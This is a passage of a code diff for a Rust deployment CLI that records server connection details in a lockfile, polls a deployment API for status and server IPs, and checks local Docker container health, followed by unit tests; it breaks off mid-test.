+    fn save_deployment_lock(
+        &self,
+        project_dir: &Path,
+        result: &DeployResult,
+        fetch_remote_details: bool,
+    ) -> Result<(), Box<dyn std::error::Error>> {
+        // Build the initial lock from the deploy result
+        let mut lock = match result.target {
+            DeployTarget::Local => DeploymentLock::for_local(),
+            DeployTarget::Server => {
+                let mut l = DeploymentLock::from_result(result)
+                    .with_project_name(self.project_name.clone());
+
+                let config_path = match &self.file {
+                    Some(f) => project_dir.join(f),
+                    None => project_dir.join(DEFAULT_CONFIG_FILE),
+                };
+                if let Ok(config) = StackerConfig::from_file(&config_path) {
+                    if l.project_name.is_none() {
+                        let name = config
+                            .project
+                            .identity
+                            .filter(|s| !s.is_empty())
+                            .unwrap_or(config.name);
+                        l = l.with_project_name(Some(name));
+                    }
+
+                    if let Some(ref server_cfg) = config.deploy.server {
+                        if l.server_ip.is_none() {
+                            l.server_ip = Some(server_cfg.host.clone());
+                        }
+                        if l.ssh_user.is_none() {
+                            l.ssh_user = Some(server_cfg.user.clone());
+                        }
+                        if l.ssh_port.is_none() {
+                            l.ssh_port = Some(server_cfg.port);
+                        }
+                    }
+                }
+
+                if fetch_remote_details {
+                    if let Some(project_id) = result.project_id {
+                        match fetch_server_for_project(
+                            project_id as i32,
+                            DeployTarget::Server,
+                            result.server_name.as_deref(),
+                        ) {
+                            Ok(Some(info)) => {
+                                l = l.with_server_info(
+                                    info.srv_ip.clone(),
+                                    info.ssh_user.clone(),
+                                    info.ssh_port.map(|p| p as u16),
+                                    info.name.clone(),
+                                    info.cloud_id,
+                                );
+                            }
+                            Ok(None) => {}
+                            Err(e) => {
+                                eprintln!("  ⚠ Could not fetch server details: {}", e);
+                            }
+                        }
+                    }
+                }
+
+                if l.server_name.is_none() {
+                    if let Some(ref name) = result.server_name {
+                        l.server_name = Some(name.clone());
+                    }
+                }
+
+                l
+            }
+            DeployTarget::Cloud => {
+                let mut l = DeploymentLock::from_result(result)
+                    .with_project_name(self.project_name.clone());
+
+                // If no --project flag, try to get the project name from config
+                if l.project_name.is_none() {
+                    let config_path = match &self.file {
+                        Some(f) => project_dir.join(f),
+                        None => project_dir.join(DEFAULT_CONFIG_FILE),
+                    };
+                    if let Ok(config) = StackerConfig::from_file(&config_path) {
+                        // Prefer project.identity as the registered name, fall back to config name
+                        let name = config
+                            .project
+                            .identity
+                            .filter(|s| !s.is_empty())
+                            .unwrap_or(config.name);
+                        l = l.with_project_name(Some(name));
+                    }
+                }
+
+                // Try to fetch provisioned server details from the Stacker API
+                if fetch_remote_details {
+                    if let Some(project_id) = result.project_id {
+                        match fetch_server_for_project(
+                            project_id as i32,
+                            DeployTarget::Cloud,
+                            result.server_name.as_deref(),
+                        ) {
+                            Ok(Some(info)) => {
+                                l = l.with_server_info(
+                                    info.srv_ip.clone(),
+                                    info.ssh_user.clone(),
+                                    info.ssh_port.map(|p| p as u16),
+                                    info.name.clone(),
+                                    info.cloud_id,
+                                );
+                                if let Some(ref ip) = info.srv_ip {
+                                    eprintln!(
+                                        "  Server details: {} ({}@{}:{})",
+                                        info.name.as_deref().unwrap_or("unnamed"),
+                                        info.ssh_user.as_deref().unwrap_or("root"),
+                                        ip,
+                                        info.ssh_port.unwrap_or(22),
+                                    );
+                                }
+                            }
+                            Ok(None) => {
+                                eprintln!(
+                                    "  ℹ Server details not yet available (may still be provisioning)."
+                                );
+                            }
+                            Err(e) => {
+                                eprintln!("  ⚠ Could not fetch server details: {}", e);
+                            }
+                        }
+                    }
+                }
+
+                // Fallback: if the API fetch didn't populate server_name,
+                // use the name from the deploy form so subsequent deploys
+                // can still find and reuse the server.
+                if l.server_name.is_none() {
+                    if let Some(ref name) = result.server_name {
+                        l.server_name = Some(name.clone());
+                    }
+                }
+
+                l
+            }
+        };
+
+        // Always set project_name if available from CLI flag
+        if self.project_name.is_some() {
+            lock = lock.with_project_name(self.project_name.clone());
+        }
+
+        if matches!(result.target, DeployTarget::Cloud | DeployTarget::Server) {
+            if let Ok(Some(creds)) = CredentialsManager::with_default_store().load() {
+                lock = lock.with_stacker_email(creds.email.clone());
+            }
+        }
+
+        // Save lockfile
+        match lock.save(project_dir) {
+            Ok(path) => {
+                eprintln!("  Deployment context saved to {}", path.display());
+            }
+            Err(e) => {
+                eprintln!("  ⚠ Failed to save deployment lock: {}", e);
+            }
+        }
+
+        // If --lock flag is set, also update stacker.yml with server details
+        if self.lock {
+            let config_path = match &self.file {
+                Some(f) => project_dir.join(f),
+                None => project_dir.join(DEFAULT_CONFIG_FILE),
+            };
+
+            if lock.server_ip.is_some() && lock.server_ip.as_deref() != Some("127.0.0.1") {
+                // Formatting-preserving edit: only deploy.server is touched, and
+                // the file is read raw so ${VAR} placeholders are never resolved
+                // into the written stacker.yml.
+                match lock.persist_server_to_config(&config_path) {
+                    Ok(_) => {
+                        eprintln!(
+                            "  ✓ stacker.yml updated with server details (backup: stacker.yml.bak)"
+                        );
+                        eprintln!("    Next deploy will target this server directly.");
+                    }
+                    Err(e) => {
+                        eprintln!("  ⚠ Failed to update stacker.yml: {}", e);
+                        eprintln!("    Run `stacker config lock` to retry.");
+                    }
+                }
+            } else {
+                eprintln!("  ℹ --lock: No remote server details to persist (local deploy or server IP not yet available).");
+                eprintln!("    Run `stacker config lock` after the server is provisioned.");
+            }
+        }
+
+        Ok(())
+    }
+}
+
+// ── Fetch server details from Stacker API by project ID ──
+
+/// After a cloud deploy completes, look up the provisioned server's details
+/// (IP, SSH user, port, name) from the Stacker server API.
+///
+/// First polls the deployment status until it reaches a terminal state (or a
+/// timeout is reached), then retries fetching the server IP — because the IP
+/// may be assigned a few seconds after the deployment status flips to
+/// "completed".
+fn resolve_saved_stacker_base_url(context: &str) -> Result<(String, StoredCredentials), CliError> {
+    let cred_manager = CredentialsManager::with_default_store();
+    let creds = cred_manager.require_valid_token(context)?;
+    let raw_base_url = creds
+        .server_url
+        .as_deref()
+        .unwrap_or(stacker_client::DEFAULT_STACKER_URL);
+    let base_url = crate::cli::install_runner::normalize_stacker_server_url(raw_base_url);
+    Ok((base_url, creds))
+}
+
+fn fetch_server_for_project(
+    project_id: i32,
+    target: DeployTarget,
+    preferred_server_name: Option<&str>,
+) -> Result<Option<stacker_client::ServerInfo>, Box<dyn std::error::Error>> {
+    use std::time::Duration;
+
+    let (base_url, creds) = resolve_saved_stacker_base_url("server lookup")?;
+
+    let rt = tokio::runtime::Builder::new_current_thread()
+        .enable_all()
+        .build()?;
+
+    rt.block_on(async {
+        let client = StackerClient::new_for_target(&base_url, &creds.access_token, target.clone());
+
+        // Phase 1: wait for the deployment to reach a terminal state.
+        // The watch_cloud_deployment may have timed out, so the deployment
+        // could still be running.  We give it another 10 minutes here.
+        let deploy_poll = Duration::from_secs(10);
+        let deploy_timeout = Duration::from_secs(600);
+        let deploy_start = std::time::Instant::now();
+        let mut fallback_server_ip: Option<String> = None;
+
+        loop {
+            match client.get_deployment_status_by_project(project_id).await {
+                Ok(Some(info)) if is_terminal(&info.status) => {
+                    fallback_server_ip = fallback_server_ip.or_else(|| {
+                        info.status_message
+                            .as_deref()
+                            .and_then(extract_ipv4_from_text)
+                    });
+                    if info.status != "completed" {
+                        eprintln!(
+                            "  Deployment #{} finished with status '{}' — server IP may not be available.",
+                            info.id, info.status
+                        );
+                    }
+                    break;
+                }
+                Ok(Some(info)) => {
+                    fallback_server_ip = fallback_server_ip.or_else(|| {
+                        info.status_message
+                            .as_deref()
+                            .and_then(extract_ipv4_from_text)
+                    });
+                    if deploy_start.elapsed() > deploy_timeout {
+                        eprintln!(
+                            "  Deployment #{} still '{}' after extended wait — saving what we have.",
+                            info.id, info.status
+                        );
+                        break;
+                    }
+                    eprintln!(
+                        "  Deployment still in progress ({}), waiting for IP...",
+                        info.status_message
+                            .as_deref()
+                            .unwrap_or(&info.status),
+                    );
+                    tokio::time::sleep(deploy_poll).await;
+                }
+                _ => break, // no deployment info available
+            }
+        }
+
+        // Phase 2: deployment is terminal (or timed out) — poll for the server IP.
+        let ip_retries = 6;
+        let ip_delay = Duration::from_secs(10);
+
+        for attempt in 0..ip_retries {
+            let servers = client.list_servers().await?;
+
+            let server = choose_server_for_project(servers, project_id, preferred_server_name);
+
+            match server {
+                Some(ref s) if s.srv_ip.is_some() => {
+                    return Ok(server);
+                }
+                Some(mut s) if fallback_server_ip.is_some() => {
+                    s.srv_ip = fallback_server_ip.clone();
+                    return Ok(Some(s));
+                }
+                Some(_) if attempt < ip_retries - 1 => {
+                    eprintln!(
+                        "  Server found but IP not yet assigned (attempt {}/{}), retrying in {}s...",
+                        attempt + 1,
+                        ip_retries,
+                        ip_delay.as_secs(),
+                    );
+                    tokio::time::sleep(ip_delay).await;
+                }
+                Some(s) => {
+                    return Ok(Some(s));
+                }
+                None if attempt < ip_retries - 1 => {
+                    eprintln!(
+                        "  No server found for project {} (attempt {}/{}), retrying in {}s...",
+                        project_id,
+                        attempt + 1,
+                        ip_retries,
+                        ip_delay.as_secs(),
+                    );
+                    tokio::time::sleep(ip_delay).await;
+                }
+                None => {
+                    return Ok(None);
+                }
+            }
+        }
+
+        Ok(None)
+    })
+}
+
+fn server_has_ip(server: &stacker_client::ServerInfo) -> bool {
+    server
+        .srv_ip
+        .as_deref()
+        .map(str::trim)
+        .is_some_and(|ip| !ip.is_empty())
+}
+
+fn choose_server_for_project(
+    servers: Vec<stacker_client::ServerInfo>,
+    project_id: i32,
+    preferred_server_name: Option<&str>,
+) -> Option<stacker_client::ServerInfo> {
+    let mut matching: Vec<stacker_client::ServerInfo> = servers
+        .into_iter()
+        .filter(|server| server.project_id == project_id)
+        .collect();
+
+    if let Some(preferred_name) = preferred_server_name
+        .map(str::trim)
+        .filter(|name| !name.is_empty())
+    {
+        if let Some(position) = matching.iter().position(|server| {
+            server.name.as_deref() == Some(preferred_name) && server_has_ip(server)
+        }) {
+            return Some(matching.remove(position));
+        }
+
+        if let Some(position) = matching
+            .iter()
+            .position(|server| server.name.as_deref() == Some(preferred_name))
+        {
+            return Some(matching.remove(position));
+        }
+    }
+
+    if let Some(position) = matching.iter().position(server_has_ip) {
+        return Some(matching.remove(position));
+    }
+
+    matching.into_iter().next()
+}
+
+// ── Local container health-check after `docker compose up` ───
+
+/// Poll `docker compose ps` until all containers are running/healthy
+/// or a timeout is reached.
+fn watch_local_containers(
+    project_dir: &Path,
+    config_file: Option<&str>,
+    target_override: Option<&str>,
+) -> Result<(), Box<dyn std::error::Error>> {
+    use std::time::{Duration, Instant};
+
+    let compose_path = {
+        let output_dir = project_dir.join(OUTPUT_DIR);
+        let config_path = match config_file {
+            Some(f) => project_dir.join(f),
+            None => project_dir.join(DEFAULT_CONFIG_FILE),
+        };
+        // Try to read compose_file from the resolved local target; fall back to
+        // .stacker/docker-compose.yml.
+        if let Ok(config) = StackerConfig::from_file(&config_path)
+            .and_then(|config| config.with_resolved_deploy_target(target_override))
+        {
+            if let Some(ref existing) = config.deploy.compose_file {
+                let p = project_dir.join(existing);
+                if p.exists() {
+                    p
+                } else {
+                    output_dir.join("docker-compose.yml")
+                }
+            } else {
+                output_dir.join("docker-compose.yml")
+            }
+        } else {
+            output_dir.join("docker-compose.yml")
+        }
+    };
+
+    if !compose_path.exists() {
+        return Ok(());
+    }
+
+    let compose_str = compose_path.to_string_lossy().to_string();
+    let executor = ShellExecutor;
+    let timeout = Duration::from_secs(120);
+    let poll = Duration::from_secs(3);
+    let start = Instant::now();
+
+    let spin = progress::spinner("Checking container health...");
+
+    loop {
+        let args = vec!["compose", "-f", &compose_str, "ps", "--format", "json"];
+        if let Ok(output) = executor.execute("docker", &args) {
+            if output.success() {
+                let stdout = output.stdout.trim();
+                if !stdout.is_empty() {
+                    match parse_container_statuses(stdout) {
+                        Some((running, total)) if total > 0 => {
+                            progress::update_health(&spin, running, total);
+                            if running == total {
+                                progress::finish_success(
+                                    &spin,
+                                    &format!("All {}/{} containers running", running, total),
+                                );
+                                // Show container summary
+                                print_container_summary(&compose_str, &executor);
+                                return Ok(());
+                            }
+                        }
+                        _ => {}
+                    }
+                }
+            }
+        }
+
+        if start.elapsed() > timeout {
+            progress::finish_error(
+                &spin,
+                "Timeout waiting for containers — check `stacker status`",
+            );
+            return Ok(());
+        }
+
+        std::thread::sleep(poll);
+    }
+}
+
+/// Parse `docker compose ps --format json` output and count running containers.
+/// Returns `(running_count, total_count)`.
+fn parse_container_statuses(json_str: &str) -> Option<(usize, usize)> {
+    // docker compose ps --format json outputs one JSON object per line,
+    // or a JSON array depending on the version.
+    let containers: Vec<serde_json::Value> = if json_str.trim_start().starts_with('[') {
+        serde_json::from_str(json_str).ok()?
+    } else {
+        // One JSON object per line
+        json_str
+            .lines()
+            .filter_map(|line| serde_json::from_str::<serde_json::Value>(line).ok())
+            .collect()
+    };
+
+    let total = containers.len();
+    let running = containers
+        .iter()
+        .filter(|c| {
+            let state = c.get("State").and_then(|v| v.as_str()).unwrap_or("");
+            state == "running"
+        })
+        .count();
+
+    Some((running, total))
+}
+
+/// Print a brief container summary table.
+fn print_container_summary(compose_str: &str, executor: &dyn CommandExecutor) {
+    let args = vec!["compose", "-f", compose_str, "ps", "--format", "table"];
+    if let Ok(output) = executor.execute("docker", &args) {
+        if output.success() && !output.stdout.trim().is_empty() {
+            eprintln!();
+            eprint!("{}", output.stdout);
+        }
+    }
+}
+
+// ── Cloud deployment status polling after remote deploy ──────
+
+/// Terminal statuses — once reached, watching stops.
+const TERMINAL_STATUSES: &[&str] = &["completed", "failed", "cancelled", "error", "paused"];
+
+fn is_terminal(status: &str) -> bool {
+    TERMINAL_STATUSES.iter().any(|s| *s == status)
+}
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+enum DeploymentWatchOutcome {
+    Completed,
+    Failed,
+    Unknown,
+}
+
+/// Watch remote deployment status until it reaches a terminal state.
+fn watch_cloud_deployment(
+    result: &DeployResult,
+) -> Result<DeploymentWatchOutcome, Box<dyn std::error::Error>> {
+    use std::time::Duration;
+
+    let (base_url, creds) = match resolve_saved_stacker_base_url("deployment status") {
+        Ok(values) => values,
+        Err(e) => {
+            eprintln!("  Cannot watch deployment status: {}", e);
+            eprintln!("  Run `stacker status --watch` later to check progress.");
+            return Ok(DeploymentWatchOutcome::Unknown);
+        }
+    };
+
+    let project_id = match result.project_id {
+        Some(id) => id as i32,
+        None => {
+            eprintln!("  No project ID — run `stacker status --watch` to check progress.");
+            return Ok(DeploymentWatchOutcome::Unknown);
+        }
+    };
+
+    eprintln!();
+    let spin = progress::spinner("Watching deployment progress...");
+
+    let poll_interval = Duration::from_secs(5);
+    let timeout = Duration::from_secs(600); // 10 min max watch
+
+    let rt = tokio::runtime::Builder::new_current_thread()
+        .enable_all()
+        .build()?;
+
+    rt.block_on(async {
+        let client =
+            StackerClient::new_for_target(&base_url, &creds.access_token, result.target.clone());
+        let start = std::time::Instant::now();
+        let mut last_status = String::new();
         let mut last_message: Option<String> = None;
 
-        loop {
-            match client.get_deployment_status_by_project(project_id).await {
-                Ok(Some(info)) => {
-                    let status_changed = info.status != last_status;
-                    let message_changed = info.status_message != last_message;
-                    if status_changed || message_changed {
-                        let icon = progress::status_icon(&info.status);
-                        progress::update_message(
-                            &spin,
-                            &format!(
-                                "{} Deployment #{} — {}{}",
-                                icon,
-                                info.id,
-                                info.status,
-                                info.status_message
-                                    .as_ref()
-                                    .map(|m| format!(": {}", m))
-                                    .unwrap_or_default(),
-                            ),
-                        );
-                        last_status = info.status.clone();
-                        last_message = info.status_message.clone();
-                    }
+        loop {
+            match client.get_deployment_status_by_project(project_id).await {
+                Ok(Some(info)) => {
+                    let status_changed = info.status != last_status;
+                    let message_changed = info.status_message != last_message;
+                    if status_changed || message_changed {
+                        let icon = progress::status_icon(&info.status);
+                        progress::update_message(
+                            &spin,
+                            &format!(
+                                "{} Deployment #{} — {}{}",
+                                icon,
+                                info.id,
+                                info.status,
+                                info.status_message
+                                    .as_ref()
+                                    .map(|m| format!(": {}", m))
+                                    .unwrap_or_default(),
+                            ),
+                        );
+                        last_status = info.status.clone();
+                        last_message = info.status_message.clone();
+                    }
+
+                    if is_terminal(&info.status) {
+                        if info.status == "completed" {
+                            progress::finish_success(
+                                &spin,
+                                &format!("Deployment #{} completed", info.id),
+                            );
+                            return Ok(DeploymentWatchOutcome::Completed);
+                        } else {
+                            let msg = info.status_message.as_deref().unwrap_or(&info.status);
+                            progress::finish_error(
+                                &spin,
+                                &format!("Deployment #{} — {}", info.id, msg),
+                            );
+                            return Ok(DeploymentWatchOutcome::Failed);
+                        }
+                    }
+                }
+                Ok(None) => {
+                    if last_status.is_empty() {
+                        progress::update_message(&spin, "Waiting for deployment to appear...");
+                        last_status = "<none>".to_string();
+                    }
+                }
+                Err(e) => {
+                    progress::finish_success(
+                        &spin,
+                        "Deployment request accepted; live status polling unavailable",
+                    );
+                    eprintln!("  ⚠ Could not poll live deployment status: {}", e);
+                    eprintln!("  Installation may still be in progress.");
+                    eprintln!("  Run `stacker status --watch` to retry.");
+                    return Ok(DeploymentWatchOutcome::Unknown);
+                }
+            }
+
+            if start.elapsed() > timeout {
+                progress::finish_error(&spin, "Watch timeout (10m) — deployment still in progress");
+                eprintln!("  Run `stacker status --watch` to continue watching.");
+                return Ok(DeploymentWatchOutcome::Unknown);
+            }
+
+            tokio::time::sleep(poll_interval).await;
+        }
+    })
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Tests
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::cli::credentials::FileCredentialStore;
+    use crate::cli::install_runner::CommandOutput;
+    use std::sync::Mutex;
+    use tempfile::TempDir;
+
+    /// Mock executor that records commands and returns configurable output.
+    struct MockExecutor {
+        calls: Mutex<Vec<(String, Vec<String>)>>,
+        output: CommandOutput,
+    }
+
+    impl MockExecutor {
+        fn success() -> Self {
+            Self {
+                calls: Mutex::new(Vec::new()),
+                output: CommandOutput {
+                    exit_code: 0,
+                    stdout: "ok".to_string(),
+                    stderr: String::new(),
+                },
+            }
+        }
+    }
+
+    impl CommandExecutor for MockExecutor {
+        fn execute(&self, program: &str, args: &[&str]) -> Result<CommandOutput, CliError> {
+            self.calls.lock().unwrap().push((
+                program.to_string(),
+                args.iter().map(|s| s.to_string()).collect(),
+            ));
+            Ok(self.output.clone())
+        }
+    }
+
+    /// Create a tempdir with a minimal stacker.yml for local deploy.
+    fn setup_local_project(files: &[(&str, &str)]) -> TempDir {
+        let dir = TempDir::new().unwrap();
+        for (name, content) in files {
+            let path = dir.path().join(name);
+            if let Some(parent) = path.parent() {
+                std::fs::create_dir_all(parent).unwrap();
+            }
+            std::fs::write(&path, content).unwrap();
+        }
+        dir
+    }
+
+    #[test]
+    fn test_scn_004_compose_image_services_register_as_remote_secret_targets() {
+        let dir = setup_local_project(&[(
+            "docker-compose.yml",
+            r#"
+services:
+  app:
+    image: ghcr.io/example/device-api:1.0
+  upload:
+    image: ghcr.io/example/upload:1.0
+    ports:
+      - "8081:8080"
+    environment:
+      S3_BUCKET: "${S3_BUCKET}"
+  worker:
+    build: .
+  nginx_proxy_manager:
+    image: jc21/nginx-proxy-manager:latest
+"#,
+        )]);
+        let config = StackerConfig {
+            name: "device-api".to_string(),
+            ..StackerConfig::default()
+        };
+
+        let services = extract_compose_secret_target_services(
+            dir.path().join("docker-compose.yml").as_path(),
+            &config,
+        )
+        .unwrap();
+        let service_names = services
+            .iter()
+            .map(|service| service.name.as_str())
+            .collect::<Vec<_>>();
+
+        assert_eq!(service_names, vec!["upload"]);
+        assert_eq!(services[0].image, "ghcr.io/example/upload:1.0");
+        assert_eq!(services[0].ports, vec!["8081:8080"]);
+    }
+
+    fn minimal_config_yaml() -> String {
+        "name: test-app\napp:\n  type: static\n  path: .\n".to_string()
+    }
+
+    fn cloud_config_yaml() -> String {
+        "name: test-app\napp:\n  type: static\n  path: .\ndeploy:\n  target: cloud\n  cloud:\n    provider: hetzner\n    region: eu-central\n    size: cpx11\n".to_string()
+    }
+
+    fn server_config_yaml() -> String {
+        "name: test-app\napp:\n  type: static\n  path: .\ndeploy:\n  target: server\n  server:\n    host: 1.2.3.4\n    user: root\n    port: 22\n".to_string()
+    }
+
+    // ── Tests ────────────────────────────────────────
+
+    fn deploy_result_for_target(target: DeployTarget, project_id: Option<i64>) -> DeployResult {
+        DeployResult {
+            target,
+            message: "ok".to_string(),
+            server_ip: None,
+            deployment_id: None,
+            project_id,
+            server_name: None,
+        }
+    }
+
+    fn server_info(
+        id: i32,
+        project_id: i32,
+        name: Option<&str>,
+        srv_ip: Option<&str>,
+    ) -> stacker_client::ServerInfo {
+        stacker_client::ServerInfo {
+            id,
+            user_id: "user".to_string(),
+            project_id,
+            cloud_id: Some(7),
+            cloud: Some("htz".to_string()),
+            region: Some("fsn1".to_string()),
+            zone: None,
+            server: Some("cpx22".to_string()),
+            os: Some("docker-ce".to_string()),
+            disk_type: None,
+            srv_ip: srv_ip.map(ToOwned::to_owned),
+            ssh_port: Some(22),
+            ssh_user: Some("root".to_string()),
+            name: name.map(ToOwned::to_owned),
+            vault_key_path: None,
+            connection_mode: "status_panel".to_string(),
+            key_status: "active".to_string(),
+        }
+    }
+
+    #[test]
+    fn backup_key_authorization_runs_only_after_real_cloud_deploy_with_project_id() {
+        assert!(should_install_cloud_backup_key(
+            &deploy_result_for_target(DeployTarget::Cloud, Some(42)),
+            false
+        ));
+        assert!(!should_install_cloud_backup_key(
+            &deploy_result_for_target(DeployTarget::Cloud, Some(42)),
+            true
+        ));
+        assert!(!should_install_cloud_backup_key(
+            &deploy_result_for_target(DeployTarget::Local, Some(42)),
+            false
+        ));
+        assert!(!should_install_cloud_backup_key(
+            &deploy_result_for_target(DeployTarget::Server, Some(42)),
+            false
+        ));
+        assert!(!should_install_cloud_backup_key(
+            &deploy_result_for_target(DeployTarget::Cloud, None),
+            false
+        ));
+    }
+
+    #[test]
+    fn choose_server_for_project_prefers_requested_server_name_with_ip() {
+        let servers = vec![
+            server_info(1, 75, Some("old"), Some("203.0.113.10")),
+            server_info(2, 75, Some("coolify-current"), Some("203.0.113.42")),
+            server_info(3, 75, Some("coolify-current"), None),
+        ];
+
+        let selected = choose_server_for_project(servers, 75, Some("coolify-current"))
+            .expect("matching server should be selected");
+
+        assert_eq!(selected.id, 2);
+        assert_eq!(selected.srv_ip.as_deref(), Some("203.0.113.42"));
+    }
+
+    #[test]
+    fn choose_server_for_project_ignores_other_projects_and_prefers_ip() {
+        let servers = vec![
+            server_info(1, 10, Some("wrong-project"), Some("203.0.113.1")),
+            server_info(2, 75, Some("pending"), None),
+            server_info(3, 75, Some("ready"), Some("203.0.113.42")),
+        ];
+
+        let selected = choose_server_for_project(servers, 75, None)
+            .expect("server with IP should be selected");
+
+        assert_eq!(selected.id, 3);
+    }
+
+    #[test]
+    fn extracts_server_ip_from_deployment_status_message() {
+        assert_eq!(
+            extract_ipv4_from_text("178.104.222.170: Copy files is done"),
+            Some("178.104.222.170".to_string())
+        );
+        assert_eq!(extract_ipv4_from_text("Deployment still in progress"), None);
+        assert_eq!(
+            extract_ipv4_from_text("invalid 999.104.222.170: message"),
+            None
+        );
+    }
+
+    #[test]
+    fn test_deploy_local_dry_run_generates_files() {
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hello</h1>"),
+            ("stacker.yml", &minimal_config_yaml()),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            true,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result.is_ok());
+
+        // Generated files should exist
+        assert!(dir.path().join(".stacker/Dockerfile").exists());
+        assert!(dir.path().join(".stacker/docker-compose.yml").exists());
+    }
+
+    #[test]
+    fn test_deploy_local_preserves_existing_dockerfile() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\n  dockerfile: Dockerfile\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hello</h1>"),
+            ("Dockerfile", "FROM custom:latest\nCOPY . /custom"),
+            ("stacker.yml", config),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            true,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result.is_ok());
+
+        // Custom Dockerfile should not be overwritten
+        let df = std::fs::read_to_string(dir.path().join("Dockerfile")).unwrap();
+        assert!(df.contains("custom:latest"));
+
+        // .stacker/Dockerfile should NOT be generated (app.dockerfile is set)
+        assert!(!dir.path().join(".stacker/Dockerfile").exists());
+    }
+
+    #[test]
+    fn test_deploy_local_uses_existing_compose() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\ndeploy:\n  compose_file: docker-compose.yml\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hello</h1>"),
+            (
+                "docker-compose.yml",
+                "version: '3.8'\nservices:\n  web:\n    image: nginx\n",
+            ),
+            ("stacker.yml", config),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            true,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result.is_ok());
+
+        // .stacker/docker-compose.yml should NOT be generated
+        assert!(!dir.path().join(".stacker/docker-compose.yml").exists());
+    }
+
+    #[test]
+    fn test_deploy_creates_missing_dotenv_from_example_for_compose_env_file() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\ndeploy:\n  compose_file: docker-compose.yml\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hello</h1>"),
+            (
+                "docker-compose.yml",
+                "services:\n  web:\n    image: nginx\n    env_file: .env\n",
+            ),
+            (".env.example", "APP_ENV=production\n"),
+            ("stacker.yml", config),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            true,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(result.is_ok());
+        let env_path = dir.path().join(".env");
+        assert_eq!(
+            std::fs::read_to_string(&env_path).unwrap(),
+            "APP_ENV=production\n"
+        );
+        #[cfg(unix)]
+        {
+            use std::os::unix::fs::PermissionsExt;
+            assert_eq!(
+                std::fs::metadata(&env_path).unwrap().permissions().mode() & 0o777,
+                0o600
+            );
+        }
+    }
+
+    #[test]
+    fn test_deploy_reports_missing_env_file_without_raw_bundle_error() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\ndeploy:\n  compose_file: docker-compose.yml\n";
+        let dir = setup_local_project(&[
+            (
+                "docker-compose.yml",
+                "services:\n  web:\n    image: nginx\n    env_file: .env\n",
+            ),
+            ("stacker.yml", config),
+        ]);
+        let executor = MockExecutor::success();
+
+        let err = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            true,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        )
+        .unwrap_err();
+
+        let msg = err.to_string();
+        assert!(msg.contains("Missing env file referenced by compose env_file"));
+        assert!(msg.contains(".env.example"));
+    }
+
+    #[test]
+    fn test_deploy_falls_back_when_configured_compose_missing() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\ndeploy:\n  compose_file: stacker/docker-compose.yml\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hello</h1>"),
+            ("stacker.yml", config),
+            (
+                ".stacker/docker-compose.yml",
+                "services:\n  app:\n    image: nginx\n",
+            ),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            true,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result.is_ok());
+    }
+
+    #[test]
+    fn test_deploy_environment_override_uses_environment_compose() {
+        let config = r#"
+name: device-api
+app:
+  type: static
+  path: .
+deploy:
+  target: local
+"#;
+        let compose = r#"
+services:
+  api:
+    image: device-api:latest
+    environment:
+      RUST_LOG: warning
+"#;
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hello</h1>"),
+            ("stacker.yml", config),
+            ("docker/production/compose.yml", compose),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy_for_environment(
+            dir.path(),
+            None,
+            Some("local"),
+            Some("production"),
+            true,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(result.is_ok());
+        assert!(
+            !dir.path().join(".stacker/docker-compose.yml").exists(),
+            "environment compose should be used instead of generating .stacker/docker-compose.yml"
+        );
+    }
+
+    #[test]
+    fn test_deploy_local_with_image_skips_build() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\n  image: nginx:latest\n";
+        let dir = setup_local_project(&[("stacker.yml", config)]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            true,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+        assert!(result.is_ok());
+
+        // No Dockerfile should be generated (using image)
+        assert!(!dir.path().join(".stacker/Dockerfile").exists());
+    }
+
+    #[test]
+    fn test_deploy_cloud_requires_login() {
+        let dir = setup_local_project(&[("stacker.yml", &cloud_config_yaml())]);
+        let executor = MockExecutor::success();
+        let store = FileCredentialStore::new(dir.path().join("credentials.json"));
+        let cred_manager = CredentialsManager::new(store);
+
+        let result = run_deploy_with_credentials_manager(
+            dir.path(),
+            None,
+            None,
+            None,
+            true,
+            false,
+            false,
+            &executor,
